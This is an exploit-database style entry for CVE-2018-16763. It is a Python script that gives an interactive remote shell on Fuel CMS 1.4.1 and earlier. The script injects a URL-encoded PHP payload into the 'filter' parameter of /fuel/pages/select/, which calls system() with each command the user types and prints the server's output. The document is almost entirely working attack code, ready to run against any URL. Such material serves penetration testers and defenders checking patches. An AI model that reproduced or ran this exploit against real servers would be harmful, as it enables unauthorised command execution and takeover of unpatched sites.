Fuel CMS 1.4.1 Remote Code Execution

# Exploit Title: Fuel CMS 1.4.1 - Remote Code Execution (3)
# Exploit Author: Padsala Trushal
# Date: 2021-11-03
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu - Apache2 - php5
# CVE : CVE-2018-16763

#!/usr/bin/python3

import requests
from urllib.parse import quote
import argparse
import sys
from colorama import Fore, Style

def get_arguments():
  parser = argparse.ArgumentParser(description='fuel cms fuel CMS 1.4.1 - Remote Code Execution Exploit',usage=f'python3 {sys.argv[0]} -u <url>',epilog=f'EXAMPLE - python3 {sys.argv[0]} -u http://10.10.21.74')

  parser.add_argument('-v','--version',action='version',version='1.2',help='show the version of exploit')

  parser.add_argument('-u','--url',metavar='url',dest='url',help='Enter the url')

  args = parser.parse_args()

  if len(sys.argv) <=2:
    parser.print_usage()
    sys.exit()

  return args


args = get_arguments()
url = args.url 

if "http" not in url:
  sys.stderr.write("Enter vaild url")
  sys.exit()

try:
   r = requests.get(url)
   if r.status_code == 200:
       print(Style.BRIGHT+Fore.GREEN+"[+]Connecting..."+Style.RESET_ALL)


except requests.ConnectionError:
    print(Style.BRIGHT+Fore.RED+"Can't connect to url"+Style.RESET_ALL)
    sys.exit()

while True:
  cmd = input(Style.BRIGHT+Fore.YELLOW+"Enter Command $"+Style.RESET_ALL)

  main_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+quote(cmd)+"%27%29%2b%27"

  r = requests.get(main_url)

  #<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">

  output = r.text.split('<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">')
  print(output[0])
  if cmd == "exit":
    break